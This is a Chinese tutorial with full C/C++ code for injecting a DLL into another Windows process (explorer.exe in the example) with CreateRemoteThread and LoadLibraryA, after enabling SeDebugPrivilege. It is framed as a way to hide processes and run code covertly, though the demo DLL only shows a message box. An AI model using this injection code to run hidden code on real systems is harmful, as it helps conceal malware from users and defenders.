9X 环境中Windows提供了想光的API函数用于隐藏系统进程。但是到了 2000 以上系统,已经无法真正的做到对于进程的隐藏,除非编写底层驱动。但是我们可以通过一些变通的办法来达到隐藏进程的目的,其中一个就是远程注入。简单的说就是先编写一个 API的DLL,然后将这个DLL库注入到一个系统进程中,作为它的一个线程去执行。
要实现DLL注入,首先需要打开目标进程。
hRemoteProcess = OpenProcess ( PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE , //允许远程VM写
FALSE , dwRemoteProcessId )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
如果进程打不开,以后的操作就别想了。进程打开后,就可以建立远线程了,不过别急,先想想这个远线程的线程函数是什么?我们的目的是注入一个DLL。而且我们知道用LoadLibrary可以加载一个DLL到本进程的地址空间。于是,自然会想到如果可以在目标进程中调用LoadLibrary,不就可以把 DLL加载到目标进程的地址空间了吗?对!就是这样。远线程就在这儿用了一次,建立的远线程的线程函数就是LoadLibrary,而参数就是要注入的 DLL的文件名。 ( 这里需要自己想一想,注意到了吗,线程函数ThreadProc和LoadLibrary函数非常相似,返回值,参数个数都一样 ) 还有一个问题,LoadLibrary这个函数的地址在哪儿?也许你会说,这个简单,GetProcAddress就可以得出。于是代码就出来了。
char * pszLibFileRemote = "my.dll" ;
PTHREAD_START_ROUTINE pfnStartAddr = ( PTHREAD_START_ROUTINE ) GetProcAddress ( GetModuleHandle ( "Kernel32" ), "LoadLibraryA" );
CreateRemoteThread ( hRemoteProcess , NULL , 0 , pfnStartAddr , pszLibFileRemote , 0 , NULL );
但是不对!不要忘了,这是远线程,不是在你的进程里,而pszLibFileRemote指向的是你的进程里的数据,到了目标进程,这个指针都不知道指向哪儿去了,同样pfnStartAddr这个地址上的代码到了目标进程里也不知道是什么了,不知道是不是你想要的LoadLibraryA了。但是,问题总是可以解决的,Windows有些很强大的API函数,他们可以在目标进程里分配内存,可以将你的进程中的数据拷贝到目标进程中。因此 pszLibFileRemote的问题可以解决了。
char * pszLibFileName = "my.dll" ; //注意,这个一定要是全路径文件名,除非它在系统目录里;原因大家自己想想。
//计算DLL路径名需要的内存空间
int cb = ( 1 + lstrlenA ( pszLibFileName )) * sizeof ( char );
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = ( char *) VirtualAllocEx ( hRemoteProcess , NULL , cb , MEM_COMMIT , PAGE_READWRITE );
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory ( hRemoteProcess , pszLibFileRemote , ( PVOID ) pszLibFileName , cb , NULL );
OK,现在目标进程也认识pszLibFileRemote了,但是pfnStartAddr好像不好办,我怎么可能知道LoadLibraryA在目标进程中的地址呢?其实Windows为我们解决了这个问题,LoadLibraryA这个函数是在Kernel32 . dll这个核心DLL里的,而这个 DLL很特殊,不管对于哪个进程,Windows总是把它加载到相同的地址上去。因此你的进程中LoadLibraryA的地址和目标进程中 LoadLibraryA的地址是相同的 ( 其实,这个DLL里的所有函数都是如此 ) 。至此,DLL注入结束了。
但是目前还有一个问题,上面的方法是无法将DLL注入到系统进程中去的,原因是进程级别不够。那么我们就要提升注入程序的进程级别。使用下面的函数:
void EnableDebugPriv ( void )
{
HANDLE hToken ;
LUID sedebugnameValue ;
TOKEN_PRIVILEGES tkp ;
if ( ! OpenProcessToken ( GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , & hToken ) )
return ;
if ( ! LookupPrivilegeValue ( NULL , SE_DEBUG_NAME , & sedebugnameValue ) ){
CloseHandle ( hToken );
return ;
}
tkp . PrivilegeCount = 1 ;
tkp . Privileges [ 0 ]. Luid = sedebugnameValue ;
tkp . Privileges [ 0 ]. Attributes = SE_PRIVILEGE_ENABLED ;
if ( ! AdjustTokenPrivileges ( hToken , FALSE , & tkp , sizeof tkp , NULL , NULL ) )
CloseHandle ( hToken );
}
最后我们来做一个简单的例子:
首先编写注入程序的代码
// DLLAdd.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "winnt.h"
void EnableDebugPriv ();
int APIENTRY WinMain ( HINSTANCE hInstance ,
HINSTANCE hPrevInstance ,
LPSTR lpCmdLine ,
int nCmdShow )
{
EnableDebugPriv ();
// TODO: Place code here.
HANDLE hRemoteProcess ;
HANDLE hRemoteThread ;
//PWSTR pszLibFileRemote;
//LPCWSTR pszLibFileName;
BOOL iReturnCode ;
char * pszLibFileRemote = "RemoteDLL.dll" ;
char * pszLibFileName = "C:\\RemoteDLL.dll" ; //注意,这个一定要是全路径文件名,除非它在系统目录里
hRemoteProcess = OpenProcess ( PROCESS_CREATE_THREAD
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE ,
FALSE , 0x3E0 ); //0x3E0是进程的id,测试时是explorer的进程id,可以用spy++去查找。
//计算DLL路径名需要的内存空间
int cb = ( 1 + lstrlenA ( pszLibFileName )) * sizeof ( char );
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = ( char *) VirtualAllocEx ( hRemoteProcess , NULL , cb ,
MEM_COMMIT , PAGE_READWRITE );
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory ( hRemoteProcess ,
pszLibFileRemote , ( PVOID ) pszLibFileName , cb , NULL );
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = ( PTHREAD_START_ROUTINE )
GetProcAddress ( GetModuleHandle ( TEXT ( "Kernel32" )),
"LoadLibraryA" );
//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread ( hRemoteProcess , NULL , 0 ,
pfnStartAddr , pszLibFileRemote , 0 , NULL );
return 0 ;
}
//提升权限
void EnableDebugPriv ( void )
{
HANDLE hToken ;
LUID sedebugnameValue ;
TOKEN_PRIVILEGES tkp ;
if ( ! OpenProcessToken ( GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , & hToken ) )
return ;
if ( ! LookupPrivilegeValue ( NULL , SE_DEBUG_NAME , & sedebugnameValue ) ){
CloseHandle ( hToken );
return ;
}
tkp . PrivilegeCount = 1 ;
tkp . Privileges [ 0 ]. Luid = sedebugnameValue ;
tkp . Privileges [ 0 ]. Attributes = SE_PRIVILEGE_ENABLED ;
if ( ! AdjustTokenPrivileges ( hToken , FALSE , & tkp , sizeof tkp , NULL , NULL ) )
CloseHandle ( hToken );
}
然后编写需要注入的DLL的代码
#include "stdafx.h"
#include "winnt.h"
#include < stdlib . h >
BOOL APIENTRY DllMain ( HANDLE hModule ,
DWORD ul_reason_for_call ,
LPVOID lpReserved
)
{
char szProcessId [ 64 ];
int i = 1 ;
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH :
{
_itoa ( GetCurrentProcessId (), szProcessId , 10 );
MessageBox ( NULL , szProcessId , "RemoteDLL" , MB_OK );
}
default :
return TRUE ;
}
}
将编译好的dll放到C盘根目录下面运行注入程序。我们可以发现弹出了一个标示了被注入进程id的对话框。
如上,只要我们再dll中编写我们需要的代码,就可以隐秘的在电脑里执行我们需要的事情。